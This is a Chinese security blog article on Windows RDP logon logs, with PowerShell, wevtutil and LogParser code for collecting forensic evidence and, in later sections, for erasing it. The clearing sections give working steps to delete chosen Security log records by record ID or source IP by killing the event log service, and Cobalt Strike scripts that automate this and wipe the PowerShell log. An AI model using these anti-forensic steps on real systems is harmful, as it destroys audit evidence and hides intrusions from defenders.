前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >安全运维 | RDP登录日志取证和清除

安全运维 | RDP登录日志取证和清除

作者头像
安全小王子
发布于 2023-02-25 06:49:36
发布于 2023-02-25 06:49:36
2.5K02
代码可运行
举报
文章被收录于专栏:betasecbetasec
运行总次数:2
代码可运行

本文作者:whoam1@奇安信 首发地址:https://paper.seebug.org/1043 这篇文章由Cream朋友whoam1@奇安信授权发布,在此表示感谢,关于其他方面的文章或者技术可以浏览whoam1的博客!后期我们也会持续更新WEB安全系列课程(从小白到“入狱”),0.0,希望多多关注支持。公众号可以搜索:贝塔安全实验室,谢谢,Cream献上!

目录:

一:取证

  • 1.1 登录成功
  • 1.1.1 Security 线上分析
  • 1.1.2 Security 离线分析
  • 1.1.3 TerminalServices/Operational
  • 1.2 登录失败
  • 1.3 客户端主机名
  • 1.4 远程server
  • 1.5 日志量最大限制
  • 1.6 RDP开放端口
  • 1.7 挂载驱动器监控

二:清除

  • 2.1 EventRecordID单条删除
  • 2.2 IpAddress批量删除
  • 2.3 powershell示例

三:脚本化

  • 3.1 取证示例
  • 3.2 清除示例

参考

本文以server08为例,示例脚本以powershell为主

适用人群:运维、安全

RDP登录方式:

  • 爆破登录:多次登录失败&登录成功
  • 管理员登录:账户密码、凭据
  • console模式登录

使用工具:

  • wevtutil
  • LogParser
  • powershell
  • regedit

一:取证

取证关键点:

  • 登录IP
  • 登录ip端口
  • 登录时间
  • 登录客户端主机名
  • 登录后操作日志
  • 服务端敏感文件
  • 服务端登录的服务器ip
  • 服务端浏览器记录

1.1 登录成功

EventID=4624,从安全日志中获取登录成功的客户端登录ip、登录源端口、登录时间等信息

1.1.1 Security 线上分析
  • LogParser
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8, '|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP, EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv FROM Security WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
  • wevtutil
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil qe Security /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4624)] and EventData[(Data[@Name='LogonType']='10')]]"
  • wevtutil + powershell

wevtutil epl Security ./Sec.evtx

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function WinSuccEvent
{
    [CmdletBinding()]
    Param (
        [string]$csv,
        [string]$evtx = $pwd.Path+"\Sec.evtx"
    )

    $time=Get-Date -Format h:mm:ss
    $evtx=(Get-Item $evtx).fullname
    $outfile=(Get-Item $evtx).BaseName+".csv"
    $logsize=[int]((Get-Item $evtx).length/1MB)

    write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
    [xml]$xmldoc=WEVTUtil qe  $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing']  and (EventID=4624)] and EventData[Data[@Name='LogonType']='10']]" /e:root /f:Xml  /lf

    $xmlEvent=$xmldoc.root.Event

    function OneEventToDict {
        Param (
            $event
        )
        $ret = @{
            "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
            "EventRecordID" = $event.System.EventRecordID
            "EventID" = $event.System.EventID
        }
        $data=$event.EventData.Data
        for ($i=0; $i -lt $data.Count; $i++){
            $ret.Add($data[$i].name, $data[$i].'#text')
        }
        return $ret
    }

    filter Convert-DateTimeFormat
    {
      Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
      try {
        ([DateTime]$_).ToString($OutputFormat)
      } catch {}
    }

    $time=Get-Date -Format h:mm:ss
    write-host [+] $time Extract XML ... -ForegroundColor Green
    [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
    for ($i=0; $i -lt $xmlEvent.Count; $i++){
        $event = $xmlEvent[$i]
        $datas = OneEventToDict $event
        $results.Add((New-Object PSObject -Property $datas))|out-null
    }

    $time=Get-Date -Format h:mm:ss
    $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventRecordID
    if($csv){
        write-host [+] $time Dump into CSV: $outfile ... -ForegroundColor Green
        $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventID,LogonType,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture  -Encoding Default -Force
    }
}
1.1.2 Security 离线分析

导出安全日志为:Security.evtx

  • LogParser
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8, '|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|') AS SourceIP ,EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv FROM Security.evtx WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
  • wevtutil
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil qe ./Security.evtx /q:"*[System[(EventRecordID=1024)]]"  /e:root /f:xml
1.1.3 TerminalServices/Operational
  • RemoteConnectionManager - EventID=1149
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil qe Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational "/q:*[TerminalServices-LocalSessionManager[(EventID=1149)]]" /f:text /rd:true /c:1

过滤id:1149且仅显示存在Param2数据

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil epl Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational ./TerminalServices.evtx
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function TerminalServices {

    [CmdletBinding()]
    Param (
        [string]$csv,
        [string]$evtx = $pwd.Path+"./TerminalServices.evtx"   
    )

    $time=Get-Date -Format h:mm:ss
    $evtx=(Get-Item $evtx).fullname
    $outfile=(Get-Item $evtx).BaseName+".csv"

    $logsize=[int]((Get-Item $evtx).length/1MB)

    write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
    [xml]$xmldoc=WEVTUtil qe $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-TerminalServices-RemoteConnectionManager'] and (EventID=1149)]]" /e:root /f:Xml  /lf

    $xmlEvent=$xmldoc.root.Event

    write-host $xmlEvent.Count

    function OneEventToDict {
        Param (
            $event
        )
        Try {
            $CheckLoginStatus = $event.UserData.EventXML.Param2
            if ($CheckLoginStatus) {
                $ret = @{
                    "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
                    "EventRecordID" = $event.System.EventRecordID
                    "EventID" = $event.System.EventID
                    "Param1" = $event.UserData.EventXML.Param1
                    "Param2" = $event.UserData.EventXML.Param2
                    "Param3" = $event.UserData.EventXML.Param3
                }
            }
        }
        Catch {
            continue
        }
        return $ret
    }

    filter Convert-DateTimeFormat
    {
      Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
      try {
        ([DateTime]$_).ToString($OutputFormat)
      } catch {}
    }

    $time=Get-Date -Format h:mm:ss
    write-host [+] $time Extract XML ... -ForegroundColor Green
    [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
    for ($i=0; $i -lt $xmlEvent.Count; $i++){
        $event = $xmlEvent[$i]
        $datas = OneEventToDict $event
        try {
            $results.Add((New-Object PSObject -Property $datas))|out-null
        }
        catch {
            continue
        }
    }

    $time=Get-Date -Format h:mm:ss
    $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID
    if($csv){
        write-host [+] $time Dump into CSV: $outfile ... #-ForegroundColor Green
        $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture  -Encoding Default -Force
    }

}

同理:

  • LocalSessionManager - EventID:24/25
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil epl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational ./LocalSessionManager.evtx
  • ClientActiveXCore - EventID:1024
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil epl Microsoft-Windows-TerminalServices-RDPClient/Operational ./ClientActiveXCore.evtx

1.2 登录失败

EventID=4625,分析语句同理登录成功

1.3 客户端主机名

注册表HKEY_USERS\SID\Volatile Environment\X.CLIENTNAME

powershell实现代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function ClientHostName {
    $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
    foreach($Name in $UserSID) {
        $RegPath = "Registry::HKEY_USERS\"+$Name+"\Volatile Environment\"
        Try {
            $Servers = dir $RegPath -Name -ErrorAction Stop
            foreach ($Server in $Servers) {
                $ClientHostName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CLIENTNAME
                Write-Host "[+] RegPath: "$RegPath$Server
                Write-Host "[+] ClientHostName: "$ClientHostName
            }   
        }
        Catch {
            continue
        }
    }
}

1.4 远程server

注册表HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers\*

其中,保存凭据的单独显示

powershell实现代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function RdpServer {
    $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
    foreach($Name in $UserSID) {
        $RegPath = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Servers\"
        Try {
            $Servers = dir $RegPath -Name -ErrorAction Stop
            foreach ($Server in $Servers) {
                $UserName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).UsernameHint
                Write-Host "[+] Server: "$Server" UserName: "$UserName
                $CertHash = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CertHash
                if($CertHash) {
                    Write-Host "[+] Server: "$Server" UserName: "$UserName" CertHash: "$CertHash 
                }
            }
        }
        Catch {
            continue
        }
        $RegPathDefault = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Default\"
        Try {
            $RegPathValues = Get-Item -Path $RegPathDefault -ErrorAction Stop
            foreach ($RegPathValue in $RegPathValues.Property ){
                write-host "[+] Server:port > "$RegPathValues.GetValue($RegPathValue)
            }
        }
        Catch {
            continue
        }
    }
}

1.5 日志量最大限制

注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function ChangeSecurityMaxSize {
    $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"
    $SecurityRegValue = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
    write-host "Old Size: "+$SecurityRegValue
    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'MaxSize' -value '209715200'
    $SecurityRegValueCheck = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
    write-host "New Size: "+$SecurityRegValueCheck+'(200M)'
}

1.6 RDP开放端口

查询注册表

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    $RegPath = "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
    $RDPportValue = (Get-ItemProperty -Path $RegPath -ErrorAction Stop).PortNumber
    write-host $RDPportValue

1.7 挂载驱动器监控

参考github:DarkGuardian:https://github.com/FunnyWolf/DarkGuardian

二:清除

以下两种方式根据修改注册表实现

以powershell为例:

需要修改注册表

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value C:\Windows\System32\winevt\Logs\Security_new.evtx

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
tasklist /svc | findstr "eventlog"
taskkill /F /PID 279
net start eventlog

2.1 EventRecordID单条删除

单条日志清除

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[System[(EventRecordID!=6810)]]" /ow:true

2.2 IpAddress批量删除

源ip清除

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true

2.3 powershell示例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    [CmdletBinding()]
    Param (
        [string]$flagvalue,
        [string]$evtx = $pwd.Path
    )

    $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"

    $SecurityFileRegValueFileName = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).File
    $SecurityFileRegValueNew = $SecurityFileRegValueFileName.Replace("Security","Security_bak")
    $SecurityFileRegValueNewFlag = $SecurityFileRegValueFileName.Replace("Security","NewSecFlag")

    write-host $SecurityFileRegValueFileName

    # clear
    Try{
        wevtutil epl Security $SecurityFileRegValueNew /q:"*[System[(EventRecordID!="$flagvalue")]]" /ow:true
    }
    Catch {}

    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueNewFlag

    $EventlogSvchost = tasklist /svc | findstr "eventlog" 
    $EventlogMatch = $EventlogSvchost -match "(\d+)"
    $EventlogSvchostPID = $Matches[0]

    # Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

    write-host $EventlogSvchostPID

    taskkill /F /PID $EventlogSvchostPID

    Try{
        Remove-Item $SecurityFileRegValueFileName -recurse
    }
    Catch {}
    Try{
        Remove-Item $SecurityFileRegValueNewFlag -recurse
    }
    Catch {}

    ren $SecurityFileRegValueNew $SecurityFileRegValueFileName

    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueFileName

    net start eventlog

同理批量删除如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    # clear
    Try {
        wevtutil epl Security $SecurityFileRegValueNew /q:"*[EventData[(Data[@Name='IpAddress']!='')]]" /ow:true
    }
    Catch {}

三:脚本化

结合Cobalt Strike可实现自动化,具体可参考cna脚本编写:https://www.cobaltstrike.com/aggressor-script/index.html

3.1 取证示例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
     item "RdpSuccessEvent" {
          local('$bid');
          foreach $bid ($1){
              blog($1, "Get RDP Success Event (4624).");
              bpowershell($bid,"wevtutil epl Security ./Sec.evtx");
              bpowershell_import($bid, script_resource("./powershell/WinSuccEvent.ps1"));
              bpowerpick($bid,"WinSuccEvent");
              #bpowershell($bid,"WinSuccEvent");
              brm($1,"Sec.evtx");
              bpowershell($bid,"wevtutil cl \"Windows PowerShell\"");
          }
     }

3.2 清除示例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
     item "IDEventClear" {
          prompt_text("Input Clear EventRecordID","1024",lambda({
              blog(@ids,"Delete Security Event where EventRecordID = $1");
              bpowershell_import(@ids, script_resource("./powershell/IDEventClear.ps1"));
              bpowerpick(@ids,"IDEventClear $1");
              bpowershell(@ids,"wevtutil cl \"Windows PowerShell\"");
          },@ids => $1));
     }

四:参考

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-02-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 betasec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
痕迹清除-Windows日志清除绕过
在我们日常的安全攻击过程中,登录尝试、流程开发、其他用户和设备行为都记录在 Windows 事件日志中,这将会增大自身被溯源的风险,针对于windows日志痕迹清除主要总结了以下这些方法
hyyrent
2022/12/26
3.4K0
痕迹清除-Windows日志清除绕过
获取已控机器本地保存的RDP密码
本文就给大家聊一下关于获取已控机器本地保存的RDP密码的一些原理、思路、以及具体的实现方法。
鸿鹄实验室
2021/04/15
3.3K0
获取已控机器本地保存的RDP密码
Powershell快速入门(三) 实战应用
乐百川
2018/01/09
4K0
Powershell快速入门(三) 实战应用
系统日志信息查看一览表
描述:Windows 事件命令行实用程序,用于检索有关事件日志和发布者的信息,安装和卸载事件清单,运行查询以及导出、存档和清除日志。
全栈工程师修炼指南
2022/09/28
8930
系统日志信息查看一览表
DOS 命令 | 每日一学,wevtutil 快速检索 Windows 系统事件日志元数据
Windows 事件日志是记录系统事件和错误信息的宝库。可以帮助你识别和解决各种问题,例如应用程序崩溃、系统错误和安全审核等。
全栈工程师修炼指南
2024/04/17
1.1K0
DOS 命令 | 每日一学,wevtutil 快速检索 Windows 系统事件日志元数据
内网渗透|获取远程桌面连接记录与RDP凭据
Windows 远程桌面是用于管理 Windows 服务器的最广泛使用的工具之一。管理员喜欢使用远程桌面,攻击者也喜欢使用(狗头)。在之前的文章中我们已经介绍了很多攻击远程桌面的方法,本篇文章我们继续来探究。
HACK学习
2021/08/13
8.2K0
Get-WinEvent和Get-EventLog的区别及效率
Windows事件日志查看命令通常有2种:Get-WinEvent和Get-EventLog,那么二者之间的区别是什么?应用场景又是什么呢?
雷龙
2021/09/18
3.2K0
内网渗透基石篇—信息收集(下)
目标资产信息搜集的程度,决定渗透过程的复杂程度。 目标主机信息搜集的深度,决定后渗透权限持续把控。 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。
顾翔
2021/05/17
1.9K0
内网渗透基石篇—信息收集(下)
在Windows日志里发现入侵痕迹
有小伙伴问:Windows系统日志分析大多都只是对恶意登录事件进行分析的案例,可以通过系统日志找到其他入侵痕迹吗?
Bypass
2020/12/16
1.6K0
Windows系统日志分析工具– Log Parser「建议收藏」
可参考文章:日志分析工具 LogParser 学习笔记_Memetali_ss的博客-CSDN博客 写完才看见。吐了
全栈程序员站长
2022/10/04
4.8K0
Windows系统日志分析工具– Log Parser「建议收藏」
RDP登录相关
首先肯定就需要判断RDP是否开启了。我们通过注册表“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server”的fDenyTSConnections值判断RDP是否开启。
谢公子
2022/01/20
9670
RDP登录相关
[ffffffff0x] 安全蓝队 : windows日志检索和分析
在运维工作过程中,如若windows服务器被入侵,往往需要检索和分析相应的安全日志。除了安全设备,系统自带的日志就是取证的关键材料,但是此类日志数量庞大,需要高效分析windows安全日志,提取出我们想要的有用信息,就显得尤为关键。
r0fus0d
2021/01/06
3.3K0
[ffffffff0x] 安全蓝队 : windows日志检索和分析
实用powershell命令
Windows PowerShell 系统要求 https://docs.microsoft.com/zh-cn/powershell/scripting/install/windows-powers
Windows技术交流
2019/12/25
2.8K0
通过解析 win-event 日志来获取 Applocker 事件日志
此脚本将从 win 事件日志中解析所有事件通道,以将所有日志相关信息提取到 AppLocker。该脚本将收集与事件相关的所有重要信息,用于取证或威胁搜寻目的,甚至用于故障排除。以下是我们从 win-event 中获取的日志:
Khan安全团队
2023/02/23
5220
通过解析 win-event 日志来获取 Applocker 事件日志
获取主机已安装程序的多种方式
这篇文章我们主要讲的是获取主机已安装程序的多种方式,通过获取的软件及版本信息可用于权限提升、搜集密码等。因为有的方式获取不完整或者可能被安全防护软件拦截,所有我测试了多个方法,以备不时之需。
潇湘信安
2022/09/14
1.7K0
获取主机已安装程序的多种方式
通过Windows事件日志介绍APT-Hunter
APT-Hunter是用于Windows事件日志的威胁搜寻工具,该工具能够检测隐藏在Windows事件日志中的APT运动,如果您是弄威胁情报的人,那么我保证您会喜欢使用此工具的,为什么?我将在本文中讨论原因,请注意,此工具仍为测试版,并且可能包含错误。
FB客服
2021/03/09
1.6K0
通过Windows事件日志介绍APT-Hunter
PS常用命令之文件目录及内容操作
描述: 切换当前工作目录的路径实际上在PowerShell中cd命令就是其的别名。
全栈工程师修炼指南
2022/09/29
8.4K0
PS常用命令之文件目录及内容操作
Window日志分析
Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
Bypass
2019/07/08
2.2K0
Window日志分析
DiagTrack、WinSAT、Application Experience、Diagnostic等服务或计划任务可能影响系统性能
DiagTrack、WinSAT、Application Experience、Diagnostic等服务或计划任务可能影响系统性能
Windows技术交流
2024/01/08
5780
tcpip来源事件ID 4227/4231/4266 调大动态端口范围
An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full
Windows技术交流
2021/09/18
4.3K0
相关推荐
痕迹清除-Windows日志清除绕过
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验